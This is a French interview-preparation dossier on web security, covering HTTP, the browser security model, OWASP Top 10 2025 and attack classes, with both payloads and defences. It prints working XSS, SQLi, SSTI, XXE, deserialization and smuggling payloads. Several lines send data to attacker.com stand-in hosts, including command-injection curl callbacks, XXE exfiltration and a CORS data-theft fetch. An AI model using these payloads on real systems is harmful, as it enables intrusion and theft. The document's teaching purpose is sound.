Web Security Interview
Dossier de préparation · Junior Security Researcher · OWASP 2025 + PortSwigger Research
HTTP Protocol — Deep Dive
FONDAMENTALMéthodes HTTP & implications sécurité
| Méthode | Usage | Risque sécurité |
|---|---|---|
GET | Lecture, idempotent, cacheable | Params en URL → logs, historique, Referer leakage |
POST | Création, non-idempotent | Double-submit, CSRF, mass assignment |
PUT | Remplacement complet | Overwrite de ressources, IDOR |
PATCH | Modification partielle | Idem PUT, souvent moins protégé |
DELETE | Suppression | IDOR, autorisation faible |
OPTIONS | CORS preflight, liste des méthodes | Info disclosure, misconfiguration CORS |
HEAD | Comme GET sans body | Fingerprinting, SSRF probe |
TRACE | Echo de la requête (debug) | XST (Cross-Site Tracing) → à désactiver |
CONNECT | Tunnel HTTP (proxy) | Proxy abuse, SSRF via CONNECT |
Headers HTTP critiques
Security Headers (réponse)
| Header | Valeur exemple | Protection |
|---|---|---|
Content-Security-Policy | default-src 'self' | XSS, data injection |
Strict-Transport-Security | max-age=31536000; includeSubDomains | MITM, SSL stripping |
X-Frame-Options | DENY | Clickjacking |
X-Content-Type-Options | nosniff | MIME sniffing |
Referrer-Policy | strict-origin-when-cross-origin | Info leakage via Referer |
Permissions-Policy | camera=(), microphone=() | Feature abuse |
Set-Cookie | Secure; HttpOnly; SameSite=Strict | Cookie theft, CSRF |
Access-Control-Allow-Origin | https://trusted.com | CORS control |
Headers de requête intéressants
# Headers souvent exploitables en SSRF / injection X-Forwarded-For: 192.168.1.1 # Contournement IP restriction X-Real-IP: 127.0.0.1 # Même usage Host: evil.com # Host Header Injection → password reset poisoning Origin: https://attacker.com # Test CORS Referer: ... # Info leakage, CSRF validation bypass Authorization: Bearer <JWT> # JWT attacks Content-Type: text/xml # Changer pour déclencher XXE Transfer-Encoding: chunked # HTTP Smuggling
HTTP/1.1 vs HTTP/2 vs HTTP/3
HTTP/1.1
Texte brut, une requête à la fois par connexion (pipelining théorique). Vulnérable au Smuggling TE.CL / CL.TE. Keep-Alive par défaut.
HTTP/2
Binaire, multiplexage, header compression (HPACK). HTTP/2 Desync possible en downgrade H2→H1. PUSH deprecié. Plus performant.
HTTP/3 / QUIC
UDP + TLS 1.3 intégré. Pas de TCP head-of-line blocking. Encore émergent en pentest.
Status Codes importants en sécurité
# 2xx — Success 200 OK · 201 Created · 204 No Content # 3xx — Redirection (exploitables pour open redirect) 301 Permanent · 302 Found · 307 Temporary · 308 Permanent # 4xx — Client Errors 400 Bad Request · 401 Unauthorized (pas d'auth) 403 Forbidden (auth ok mais pas le droit) 404 Not Found · 405 Method Not Allowed 429 Too Many Requests (rate limiting) 451 Unavailable for Legal Reasons # 5xx — Server Errors (info disclosure) 500 Internal Server Error (stack trace?) 502 Bad Gateway · 503 Service Unavailable
Browser Security Model
FONDAMENTALSame-Origin Policy (SOP)
La SOP est le mécanisme fondamental des navigateurs : un document d'une origine ne peut pas lire les réponses d'une autre origine.
Origine = Schéma + Hostname + Port
# Même origine ✓ https://example.com/page → https://example.com/api ✓ # Origines différentes ✗ https://example.com → http://example.com ✗ (schéma) https://example.com → https://api.example.com ✗ (sous-domaine) https://example.com → https://example.com:8080 ✗ (port) https://example.com → https://evil.com ✗ (domaine)
Ce que SOP autorise malgré tout : embedding d'images/scripts/CSS cross-origin, form submissions cross-origin (d'où la nécessité du CSRF token), navigations cross-origin.
CORS (Cross-Origin Resource Sharing)
Mécanisme qui assouplit la SOP via des headers HTTP. Permet au serveur d'autoriser certaines origines à lire ses réponses.
# Simple requests (GET, POST avec certains Content-Types) → pas de preflight # Complex requests → preflight OPTIONS d'abord ### Requête preflight ### OPTIONS /api/data HTTP/1.1 Origin: https://attacker.com Access-Control-Request-Method: PUT Access-Control-Request-Headers: Authorization ### Réponse vulnérable ### Access-Control-Allow-Origin: https://attacker.com # refléter l'origine = VULN Access-Control-Allow-Credentials: true # permet cookies = CRITIQUE ### Mauvaises configs courantes ### Access-Control-Allow-Origin: * # wildcard (mais pas avec credentials) # Regexp mal faite : authorise evil.com si la whitelist check "example.com" en substring # Null origin : Access-Control-Allow-Origin: null → exploitable via iframe sandboxé
Content Security Policy (CSP)
En-tête qui contrôle quelles ressources le navigateur peut charger. Principal contre-mesure XSS.
# CSP stricte (bonne) Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none' # Bypasses CSP courants en interview 1. JSONP endpoint sur whitelisted domain → exécution JS script-src https://trusted.com → si trusted.com a /api/jsonp?callback=alert 2. unsafe-inline → XSS directement 3. unsafe-eval → permet eval(), new Function() 4. Angular/React sur whitelisted domain → CSP bypass via framework gadgets 5. base-uri non défini → injection <base href="https://evil.com/"> → relative URL hijack 6. data: URI si autorisé → script src="data:text/javascript,alert(1)"
Cookies & attributs sécurité
# Cookie parfaitement sécurisé Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Domain=example.com HttpOnly → JS ne peut pas lire (document.cookie) → bloque vol XSS Secure → HTTPS seulement → bloque MITM SameSite → Strict: jamais cross-site | Lax: GET navigation ok | None: toujours (+ Secure) SameSite=None sans Secure → cookie envoyé en HTTP = vol possible SameSite absent (ancien) = comportement Lax dans Chrome moderne
OWASP Top 10 (2025)
INCONTOURNABLE — VERSION 2025Comparatif 2021 → 2025
| Rang 2025 | Catégorie 2025 | Rang 2021 | Delta |
|---|---|---|---|
A01 | Broken Access Control (inclut SSRF + CSRF) | A01 | = stable · +SSRF/CSRF absorbés |
A02 | Security Misconfiguration | A05 | ↑ remonte de A05 |
A03 | Software Supply Chain Failures ⭐ NEW SCOPE | A06 | ↑ scope élargi supply chain |
A04 | Cryptographic Failures | A02 | ↓ descend de A02 |
A05 | Injection | A03 | ↓ descend de A03 |
A06 | Insecure Design | A04 | ↓ descend de A04 |
A07 | Authentication Failures | A07 | = stable |
A08 | Software or Data Integrity Failures | A08 | = stable |
A09 | Security Logging and Alerting Failures | A09 | = stable |
A10 | Mishandling of Exceptional Conditions ⭐ NOUVEAU | — | 🆕 Brand new 2025 |
Focus A03 — Software Supply Chain Failures (nouveau scope)
Exemples réels cités par OWASP 2025 :
- SolarWinds (2019) : ~18 000 organisations compromises via mise à jour Orion backdoorée
- Log4Shell (CVE-2021-44228) : RCE dans Apache Log4j, impact mondial
- Bybit hack (2025) : Vol de $1.5 milliard via supply chain attack dans le wallet software — exécution conditionnelle du malware uniquement sur le wallet cible
- Shai-Hulud npm worm (2025) : Premier worm npm auto-propagant — 500+ packages infectés, harvest de npm tokens pour se propager
# Défenses Supply Chain (SBOM-first approach) → Software Bill of Materials (SBOM) : inventaire complet de TOUTES les dépendances → Outils : OWASP Dependency-Track, Dependency-Check, Snyk, retire.js → Signed builds : vérifier la provenance des artifacts (Sigstore) → Staged rollouts : ne pas déployer à tous les systèmes simultanément → Séparation des rôles CI/CD : personne ne peut coder ET pousser en prod seul → Pin les versions de dépendances + audit régulier CVE/NVD/OSV
Focus A10 — Mishandling of Exceptional Conditions (NEW 2025)
Nouvelle catégorie réunissant les problèmes de gestion d'erreurs et conditions exceptionnelles. 24 CWEs, dont :
- CWE-636 — Not Failing Securely ("Fail Open") : quand une erreur se produit, le système laisse passer au lieu de bloquer
- CWE-209 : messages d'erreur révélant des informations internes (stack traces, chemins, versions)
- CWE-476 : null pointer dereference → crash exploitable
- Race conditions transactionnelles : débit/crédit non atomique → fraude potentielle
# Exemples d'exploitation A10 Scénario 1 : Forcer des erreurs 500 pour lire les stack traces → SQLi recon Scénario 2 : Interrompre une transaction multi-étape → race condition → double spend Scénario 3 : Upload massif → ressources non libérées → DoS progressif Scénario 4 : Exception non catchée → fail open → bypass d'authentification # Défense → Fail CLOSED (pas fail open) : toujours rejeter en cas de doute → Erreurs génériques côté client, logs détaillés côté serveur uniquement → Transactions atomiques avec rollback complet → Rate limiting sur les endpoints qui génèrent des erreurs → Global exception handler en dernier recours
Cross-Site Scripting (XSS)
CRITIQUEReflected XSS
Payload dans la requête, reflété immédiatement dans la réponse. Non persistant. Requiert que la victime clique sur un lien malveillant.
Stored XSS
Payload stocké en BDD, exécuté chaque fois que la page est chargée. Plus dangereux. Commentaires, profils, messages.
DOM-Based XSS
Le payload ne passe jamais par le serveur. Le JS client lit un source (URL hash, localStorage) et l'injecte dans le DOM sans sanitization.
Sources et Sinks DOM XSS
# Sources DOM (où l'attaquant contrôle la donnée) document.URL, document.location, document.referrer location.href, location.hash, location.search window.name, document.cookie, localStorage, sessionStorage postMessage data # Sinks dangereux (où la donnée est exécutée) document.write() → injection HTML innerHTML, outerHTML → injection HTML eval(), setTimeout(str) → exécution JS location.href = userInput → javascript: URI src, href attributes → si non filtré $.html(), $(userInput) → jQuery sinks
Payloads & contournements
# Basique <script>alert(1)</script> <img src=x onerror=alert(1)> <svg onload=alert(1)> # Bypass filtres <ScRiPt>alert(1)</ScRiPt> // case insensitive <script>alert`1`</script> // template literals (bypass parenthèses) <img src=x onerror="alert(1)"> // HTML entities <iframe srcdoc="<script>alert(1)</script>"> <details open ontoggle=alert(1)> <body/onload=alert(1)> # XSS dans attributs " onmouseover="alert(1) ' autofocus onfocus='alert(1) # XSS dans href (javascript: URI) javascript:alert(document.cookie) JaVaScRiPt:alert(1) // bypass toLowerCase # Blind XSS (payload qui callback) <script src="https://your-server.com/x.js"></script>
Impact XSS
- Vol de session :
document.cookie→ envoi vers serveur attaquant - Keylogging : capturer les frappes clavier
- Phishing in-app : faux login form injecté
- CSRF via XSS : XSS bypasse les restrictions CSRF (même origine)
- Exfiltration de données : lecture du DOM, localStorage
- Webcam / microphone : via MediaDevices API si permissions accordées
- Defacement : modification visuelle
Préventions XSS
- Output encoding : encoder selon le contexte (HTML, JS, URL, CSS)
- CSP stricte :
script-src 'nonce-{random}' - HttpOnly cookies : bloque le vol via
document.cookie - DOMPurify : sanitisation côté client
- Trusted Types : API navigateur pour bloquer les sinks dangereux
SQL Injection
CRITIQUETypes de SQLi
| Type | Description | Technique d'extraction |
|---|---|---|
| In-band Error-based | Erreur SQL visible dans la réponse | Messages d'erreur DB |
| In-band Union-based | UNION SELECT pour extraire données | Colonnes additionnelles |
| Blind Boolean-based | Comportement différent selon condition vraie/fausse | Inférence bit par bit |
| Blind Time-based | Délai si condition vraie (SLEEP, WAITFOR) | Timing attack |
| Out-of-band | DNS/HTTP callback extérieur | DNS exfiltration, XXE OOB |
| Second-order | Payload stocké, exécuté plus tard | Exploitation différée |
Payloads classiques
# Test de base ' OR '1'='1 ' OR 1=1-- " OR 1=1-- ') OR ('1'='1 # Union-based (trouver nb de colonnes) ' ORDER BY 1-- ' ORDER BY 2-- ← jusqu'à erreur ' UNION SELECT NULL,NULL,NULL-- # Extraction données (MySQL) ' UNION SELECT username,password FROM users-- ' UNION SELECT table_name,2 FROM information_schema.tables-- ' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users'-- # Boolean Blind (MySQL) ' AND SUBSTRING(username,1,1)='a'-- ← vrai si 1er char = 'a' ' AND (SELECT COUNT(*) FROM users)>0-- # Time-based Blind '; IF(1=1) WAITFOR DELAY '0:0:5'-- (MSSQL) ' AND SLEEP(5)-- (MySQL) '; SELECT pg_sleep(5)-- (PostgreSQL) # Lecture de fichiers (MySQL) ' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- # Écriture fichier (MySQL avec FILE priv) ' UNION SELECT "" INTO OUTFILE '/var/www/html/shell.php'--
Bases de données — différences clés
| Feature | MySQL | PostgreSQL | MSSQL | Oracle |
|---|---|---|---|---|
| Commentaire | -- / # | -- | -- | -- |
| Version | @@version | version() | @@version | v$version |
| Concat | CONCAT(a,b) | a||b | a+b | a||b |
| Sleep | SLEEP(5) | pg_sleep(5) | WAITFOR DELAY | dbms_pipe.receive_message |
| Tables système | information_schema | pg_catalog | sys.tables | ALL_TABLES |
NoSQL Injection
# MongoDB — bypass authentification POST /login {"username": {"$ne": null}, "password": {"$ne": null}} # Opérateurs NoSQLi MongoDB $ne (not equal) $gt $regex $where $exists # Injection dans URL params GET /users?id[$ne]=0 → retourne tous les users si non filtré
Préventions SQLi
- Prepared Statements / Parameterized Queries — séparation code/données
- ORM avec bindings sécurisés — mais attention aux raw queries!
- Whitelist de caractères autorisés, validation des inputs
- Least privilege sur le compte DB (pas de FILE, pas de DROP)
- WAF comme couche défense en profondeur (pas suffisant seul)
CSRF — Cross-Site Request Forgery
HIGHL'attaquant force un utilisateur authentifié à effectuer une action non voulue sur un site où il est connecté. Le navigateur envoie automatiquement les cookies de session avec la requête cross-site.
Fonctionnement
# 1. Victime connectée sur bank.com avec cookie de session # 2. Victime visite evil.com # 3. evil.com contient : <img src="https://bank.com/transfer?to=attacker&amount=10000" /> # ou pour POST : <form action="https://bank.com/transfer" method="POST" id="f"> <input name="to" value="attacker"> <input name="amount" value="10000"> </form> <script>document.getElementById('f').submit()</script>
Contournements de défenses CSRF
- Referer absent : supprimer le header Referer (meta Referrer-Policy: no-referrer)
- Origin header bypass : certaines configs autorisent null origin
- Token dans URL : si le token CSRF est prévisible ou leaké via Referer
- Double Submit Cookie bypass : si l'attaquant peut écrire des cookies (sous-domaine compromis)
- CSRF + XSS : XSS sur la cible permet de lire et rejouer le token CSRF
- SameSite=None : cookies envoyés en cross-site → CSRF possible
- SameSite=Lax bypass : GET requests de navigation top-level → CSRF sur GET actions
Défenses
- CSRF Token synchronizer pattern : token aléatoire par session inclus dans chaque form
- SameSite=Strict sur les cookies de session
- Vérification du header Origin/Referer (mais pas suffisant seul)
- Double Submit Cookie pattern (attention aux sous-domaines)
- Custom header sur requêtes AJAX (XMLHttpRequest ne peut pas être cross-origin sans CORS)
Server-Side Request Forgery (SSRF)
CRITIQUEL'attaquant force le serveur à faire des requêtes HTTP vers des destinations qu'il contrôle : interne (metadata cloud, services non exposés) ou externe.
Cibles SSRF classiques
# Cloud metadata (AWS, GCP, Azure) http://169.254.169.254/latest/meta-data/ (AWS IMDSv1) http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://metadata.google.internal/computeMetadata/v1/ (GCP — header requis) http://169.254.169.254/metadata/v1/ (Azure) # Services internes http://localhost:8080/admin http://127.0.0.1:6379/ → Redis (no auth par défaut) http://internal-service/api/admin # Autres protocoles (Blind SSRF) file:///etc/passwd dict://localhost:11211/ → Memcached gopher://localhost:6379/ → Redis via Gopher ftp://internal-host/
Bypasses de filtres SSRF
# Encodage IP http://0177.0.0.1/ (octal 127.0.0.1) http://0x7f000001/ (hex) http://2130706433/ (decimal) http://127.1/ (notation courte) # IPv6 http://[::1]/ http://[::ffff:127.0.0.1]/ # DNS rebinding http://attacker-domain.com/ → résout d'abord IP publique (validation), puis 127.0.0.1 (exploitation) # Open redirect chain https://trusted.com/redirect?url=http://169.254.169.254/ # URL shorteners http://bit.ly/xxxx → redirige vers 127.0.0.1 # Domain tricks http://localhost.example.com/ (si DNS résout en 127.0.0.1) http://evil.com%[email protected]/ (parsing ambiguité) http://169.254.169.254.evil.com/ (subdomain confusion) # nip.io / xip.io (DNS wildcard → résout l'IP dans le nom) http://127.0.0.1.nip.io/
Blind SSRF
Pas de réponse visible → utiliser Burp Collaborator, interactsh, ou un serveur de callback pour détecter les connexions entrantes.
Défenses SSRF
- Whitelist stricte des URLs/IPs autorisées (pas de blacklist)
- Résoudre le DNS puis vérifier l'IP résolue (protège du DNS rebinding)
- Désactiver les redirections HTTP
- Utiliser IMDSv2 sur AWS (token requis, pas juste GET)
- Réseau : isoler les services internes du serveur web
XML External Entity (XXE)
CRITIQUEExploitation basique
# Lecture de fichier local <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root><data>&xxe;</data></root> # SSRF via XXE <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> # XXE Out-of-Band (Blind) — exfiltration via DTD externe <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]> # evil.dtd sur le serveur attaquant : <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>"> %eval; %exfil;
Surfaces d'attaque XXE
- Upload de fichiers XML, SVG, DOCX, XLSX, PDF (tous XML sous le capot)
- APIs REST qui acceptent
Content-Type: application/xml - SOAP WebServices
- Fichiers de config XML
Défenses XXE
- Désactiver le traitement des entités externes dans le parser XML
- Java:
factory.setFeature("http://xml.org/sax/features/external-general-entities", false) - Utiliser des formats moins complexes (JSON) si possible
- Patcher les bibliothèques XML
IDOR & Broken Access Control
OWASP #1 2021IDOR (Insecure Direct Object Reference) : accéder à des objets en manipulant des références directes (IDs) sans vérification d'autorisation côté serveur.
Types de références
# Numérique séquentiel (trivial) GET /api/invoices/1337 → essayer 1338, 1336 # GUID/UUID (moins évident mais toujours possible si leaké) GET /api/docs/550e8400-e29b-41d4-a716-446655440000 # Hash MD5 de l'email (prédictible) GET /api/profile/5d41402abc4b2a76b9719d911017c592 # Paramètre caché POST /api/updateUser {"userId": 1337, "email": "new@email.com"} → changer userId
Vertical vs Horizontal Privilege Escalation
Horizontal (même rôle)
User A accède aux données de User B. Même niveau de privilège, différent utilisateur. Exemple : voir la facture d'un autre client.
Vertical (rôle supérieur)
User normal accède à des fonctions admin. Exemple : endpoint /admin/users accessible sans vérification de rôle.
Broken Access Control — patterns communs
- Changer
role=user→role=admindans la requête / cookie - Accéder à
/adminvia variation d'URL :/Admin,/ADMIN,//admin - Méthode HTTP non vérifiée :
GET /adminbloqué maisPOST /adminaccessible - JWT : modifier le payload sans vérification de signature (
alg: none) - Mass Assignment :
{"username":"x","isAdmin":true} - Path traversal dans l'ID :
/api/files/../../../etc/passwd
Path Traversal & LFI/RFI
HIGHPath Traversal
# Basique GET /download?file=../../../etc/passwd GET /read?path=....//....//etc/passwd (bypass filtre ../) GET /file?name=..%2F..%2Fetc%2Fpasswd (URL encoded) GET /file?name=..%252F..%252Fetc/passwd (double encoded) GET /file?name=....\/....\/etc/passwd (mix slash) # Bypass de filtre "doit commencer par /uploads" /uploads/../../../etc/passwd /uploads/....//....//etc/passwd
LFI (Local File Inclusion)
# PHP classique ?page=../../../../etc/passwd ?lang=php://filter/convert.base64-encode/resource=index.php ← lire source PHP # LFI → RCE via log poisoning 1. Injecter dans User-Agent : <?php system($_GET['cmd']); ?> 2. Include le log Apache : ?page=/var/log/apache2/access.log&cmd=id # Wrappers PHP intéressants php://input → envoyer du PHP dans le POST body php://filter → lire fichiers en base64 data://text/plain → data URI (si allow_url_include) zip:// → RCE via zip upload phar:// → phar deserialization # Fichiers sensibles cibles /etc/passwd · /etc/shadow · /proc/self/environ · /proc/self/cmdline /var/log/apache2/access.log · /var/log/nginx/access.log ~/.ssh/id_rsa · /app/config.php · /.env
Command Injection
CRITIQUE → RCE# Séparateurs de commandes ; id séquentiel && id si précédente réussit || id si précédente échoue | id pipe `id` backtick (bash) $(id) substitution de commande %0a id newline (URL encoded) # Bypass filtres d'espace {cat,/etc/passwd} cat${IFS}/etc/passwd cat</etc/passwd # Out-of-band (Blind CMDi) ; nslookup attacker.com ; curl http://attacker.com/$(whoami) ; ping -c 1 attacker.com
Server-Side Template Injection (SSTI)
CRITIQUE → RCEDétection & Identification
# Payloads de détection (mathématiques) {{7*7}} → 49 ? → Jinja2/Twig ${7*7} → 49 ? → FreeMarker/Velocity <%= 7*7 %> → 49 ? → ERB (Ruby) #{7*7} → 49 ? → Pebble # Identification fine {{7*'7'}} → '7777777' = Jinja2 | 49 = Twig
Exploitation par moteur
## Jinja2 (Python/Flask) {{config.__class__.__init__.__globals__['os'].popen('id').read()}} {{''.__class__.__mro__[1].__subclasses__()[XXX].__init__.__globals__['__builtins__']['__import__']('os').system('id')}} ## Twig (PHP/Symfony) {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} ## FreeMarker (Java) ${"freemarker.template.utility.Execute"?new()("id")} ## Smarty (PHP) {system("id")}
Insecure Deserialization
CRITIQUE → RCELa désérialisation transforme des données sérialisées (JSON, XML, binaire) en objets. Si un attaquant contrôle les données sérialisées, il peut instancier des objets arbitraires → RCE via des gadget chains.
Langages & formats concernés
# Java — sérialisé binaire Identifié par: AC ED 00 05 (hex) / rO0AB (base64) Outils: ysoserial, GadgetProbe, Burp Deserialization Scanner Gadget chains: CommonsCollections, Spring, Groovy... # PHP — serialize() O:4:"User":2:{s:4:"name";s:5:"admin";s:8:"isAdmin";b:1;} → Modifier isAdmin: b:1 (true) Phar deserialization via phar:// wrapper # Python — pickle # JAMAIS désérialiser du pickle non vérifié → RCE direct import pickle, os class RCE: __reduce__ = lambda self: (os.system, ('id',)) pickle.dumps(RCE()) # JavaScript Node.js — node-serialize, serialize-javascript {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',...)}"}
Authentication & Session Management
HIGHAttaques d'authentification courantes
| Attaque | Description | Prévention |
|---|---|---|
| Brute-force | Essai exhaustif de passwords | Rate limiting, lockout, CAPTCHA |
| Credential Stuffing | Combos user:pass leakés | MFA, détection d'anomalie |
| Password Spraying | 1 password → many users | Rate limiting par IP et user |
| Username Enumeration | Réponses différentes si user existe | Messages d'erreur génériques |
| Reset Token Weak | Token prévisible ou non expirant | Random + courte validité + usage unique |
| Session Fixation | Forcer l'ID de session avant login | Régénérer l'ID après login |
| Session Hijacking | Vol de cookie session (XSS, MITM) | HttpOnly, Secure, rotation |
Host Header Injection → Password Reset Poisoning
# Si le serveur utilise le Host header pour construire l'URL de reset : POST /reset-password Host: attacker.com email: victim@example.com # La victime reçoit un email avec : https://attacker.com/reset?token=abc123 # → l'attaquant intercepte le token
JWT Attacks
HIGHJWT = header.payload.signature en base64url. Le serveur vérifie la signature pour s'assurer que le payload n'a pas été modifié.
Attaques classiques
## 1. Algorithm None Attack # Changer alg: HS256 → none, supprimer la signature {"alg":"none","typ":"JWT"} # Payload: {"user":"admin"} # Envoyer: eyJ... (header) . eyJ... (payload) . (signature vide) ## 2. HS256 → RS256 (Algorithm Confusion) # Si le serveur utilise RS256 mais accepte HS256 : # Signer avec la clé PUBLIQUE RSA en tant que secret HMAC # jwt_tool: python3 jwt_tool.py [token] -X k -pk public.pem ## 3. Weak Secret (Brute Force) # Si HS256 avec secret faible : hashcat -a 0 -m 16500 [jwt] /usr/share/wordlists/rockyou.txt ## 4. JWT Header Injection (kid, jku, x5u) # kid parameter injection → path traversal ou SQL injection {"kid": "../../dev/null"} → signer avec string vide {"kid": "' UNION SELECT 'attacker-key'--"} # jku / x5u → pointer vers un JWK externe contrôlé {"jku": "https://attacker.com/jwks.json"} → serveur fetch les clés publiques de l'attaquant ## 5. Embedded JWK # Insérer sa propre clé publique dans le header jwk {"alg":"RS256","jwk":{"kty":"RSA","n":"...","e":"AQAB"}}
OAuth 2.0 & OIDC Security
HIGHFlows OAuth 2.0
| Flow | Usage | Risque |
|---|---|---|
| Authorization Code | Web apps (recommandé) | Open redirect, CSRF sur callback |
| Authorization Code + PKCE | Mobile/SPA (best practice) | Plus sécurisé |
| Implicit (déprécié) | SPA (ancien) | Token dans URL → logs, Referer |
| Client Credentials | M2M (machine-to-machine) | Secret leak |
| Resource Owner Password | Déprécié | Exposition des credentials |
Attaques OAuth courantes
## 1. Open Redirect → Account Takeover # redirect_uri non validée strictement /oauth/authorize?client_id=app&redirect_uri=https://evil.com&... # Variations bypass whitelist : https://trusted.com.evil.com/callback (subdomain) https://trusted.com/callback@evil.com (@ ambiguité) https://trusted.com/callback#evil.com (fragment) https://trusted.com/../redirect?evil.com (path traversal) ## 2. CSRF sur OAuth callback # state parameter absent ou non validé # → forcer l'association d'un compte OAuth attaquant ## 3. Authorization Code Interception # Redirect vers page contrôlée, récupérer ?code= dans le Referer ## 4. Scope Escalation # Modifier scope=read → scope=admin si non validé ## 5. Flawed Token Validation # Utiliser un access_token d'une autre app (même provider)
CORS Misconfiguration & CSP Bypass
HIGHExploitation CORS misconfiguration
# Test : envoyer Origin: https://evil.com et voir si reflété dans Access-Control-Allow-Origin # Exploit si ACAO: evil.com + ACAC: true fetch('https://vulnerable.com/api/sensitive', {credentials: 'include'}) .then(r => r.text()) .then(data => fetch('https://attacker.com/steal?d=' + btoa(data))); # null origin exploit (iframe sandboxé) <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>fetch('https://vuln.com/api',{credentials:'include'})...</script>"> </iframe>
HTTP Request Smuggling
HIGHExploite des divergences dans la façon dont le front-end (proxy/CDN) et le back-end interprètent la frontière entre requêtes HTTP, permettant de "faire passer en contrebande" une partie d'une requête comme le début d'une autre.
Variantes
## CL.TE — Front-end croit Content-Length, Back-end croit Transfer-Encoding POST / HTTP/1.1 Content-Length: 13 Transfer-Encoding: chunked 0 SMUGGLED ## TE.CL — Front-end croit TE, Back-end croit CL POST / HTTP/1.1 Content-Length: 3 Transfer-Encoding: chunked 8 SMUGGLED 0 ## TE.TE — Les deux interprètent TE, mais l'un peut être ambigu Transfer-Encoding: xchunked Transfer-Encoding : chunked (espace avant :) Transfer-Encoding: chunked Transfer-Encoding: x (double header)
Impact
- Bypass de sécurité front-end (WAF, auth)
- Capturer les requêtes d'autres utilisateurs (vol de sessions, credentials)
- Accès à des endpoints internes
- Réflexion XSS qui contourne CSP
- Web cache poisoning via smuggling
Web Cache Poisoning
HIGHEmpoisonner le cache d'un CDN/proxy avec une réponse malveillante, servie ensuite à tous les utilisateurs de la ressource.
# Principe : trouver un "unkeyed input" (pas dans la cache key mais reflété dans la réponse) # Exemple : X-Forwarded-Host reflété dans des liens de la page GET / HTTP/1.1 Host: example.com X-Forwarded-Host: evil.com # Si la réponse contient : <script src="//evil.com/app.js"> # Et est mise en cache → tous les visiteurs chargent le JS de l'attaquant # Autres headers unkeyed courants : X-Host, X-Forwarded-Server, X-Original-URL, X-Rewrite-URL Vary: (défini mais non implémenté comme cache key)
API Security
HIGHOWASP API Top 10 (2023)
| # | Vulnérabilité | Description courte |
|---|---|---|
| API1 | Broken Object Level Authorization | IDOR sur les objets |
| API2 | Broken Authentication | Tokens faibles, mauvaise gestion |
| API3 | Broken Object Property Level Auth | Accès à des propriétés non autorisées |
| API4 | Unrestricted Resource Consumption | No rate limit, DoS possible |
| API5 | Broken Function Level Auth | Endpoints admin accessibles |
| API6 | Unrestricted Access to Sensitive Flows | Pas de limite sur flows sensibles |
| API7 | Server-Side Request Forgery | SSRF via API |
| API8 | Security Misconfiguration | CORS, debug, verbose errors |
| API9 | Improper Inventory Management | Endpoints non documentés, versions legacy |
| API10 | Unsafe Consumption of APIs | Trust implicite des APIs tierces |
GraphQL Security
# Introspection (souvent laissée active en production) {"query": "{__schema{types{name}}}"} {"query": "{__type(name:\"User\"){fields{name}}}"} # Batch Queries → brute-force en 1 requête [{"query": "{ login(user:'admin', pass:'password1') }"}, {"query": "{ login(user:'admin', pass:'password2') }"}] # Alias pour contourner rate limit { q1: user(id:1){email} q2: user(id:2){email} q3: user(id:3){email} } # Injections dans les mutations GraphQL mutation { createUser(name: "'; DROP TABLE users;--") }
Clickjacking
MEDIUM# L'attaquant embed la page cible dans un iframe transparent au-dessus d'un leurre <style> iframe { opacity: 0.01; position: absolute; top: 0; left: 0; width: 100%; height: 100%; } #lure { position: absolute; top: 300px; left: 200px; } </style> <div id="lure">WIN A PRIZE! CLICK HERE</div> <iframe src="https://victim.com/settings/delete-account"></iframe> # Défenses X-Frame-Options: DENY ← plus simple X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'none' ← plus flexible, moderne
PortSwigger Research — Hot Topics 2025
VEILLE — IMPRESSIONNE L'INTERVIEWER🥇 #1 — Successful Errors : New SSTI & Code Injection Techniques
Chercheur : Vladislav Korchagin — Source : PortSwigger Top 10 WHT 2025
Nouvelles techniques basées sur les erreurs pour exploiter le Server-Side Template Injection aveugle. Introduction de polyglots de détection et intégration dans un toolkit open-source. Adapte les techniques SQL injection error-based au SSTI.
# Blind SSTI — avant ces recherches, très difficile à détecter automatiquement # Nouvelle approche : provoquer des erreurs différentes selon le moteur # → error-based SSTI comme error-based SQLi # Polyglot de détection multi-moteurs (concept) ${"z"*9000}{{9*9}} → observe quel moteur crash/répond {{9/0}} → division par zéro → message d'erreur révèle le moteur # Point clé pour l'entretien : le SSTI aveugle est maintenant exploitable # sans affichage de la sortie, en utilisant les messages d'erreur comme oracle
🥈 #2 — ORM Leaks : Leaking More Than You Joined For
Chercheur : Alex Brown (elttam) — Source : elttam.com
Évolution des ORM leaks en méthodologie générique. Les fonctionnalités de recherche et filtrage dans les APIs REST/GraphQL peuvent exposer des données non autorisées via les opérateurs de l'ORM, sans injection SQL classique.
# Concept : les ORMs exposent souvent des opérateurs de filtrage puissants # Ex: Django, Rails, Prisma, Sequelize # API vulnérable (Prisma/Django style) GET /api/users?email[contains]=admin → filtre par sous-chaîne GET /api/users?salary[gt]=100000 → fuite de données sensibles GET /api/orders?user[email][endsWith]@admin.com → enum des emails internes # Différence avec SQLi : pas d'injection de code, utilisation légitime # de l'API de l'ORM → contourne les WAFs # Impact : dump complet de la DB via filtres successifs
🥉 #3 — Novel SSRF Technique via HTTP Redirect Loops
Chercheur : @shubs (Shubham Shah) — Source : slcyber.io
Technique pour rendre un SSRF aveugle visible en utilisant des boucles de redirections HTTP. Permet de confirmer et exploiter des SSRF précédemment considérés comme "blind".
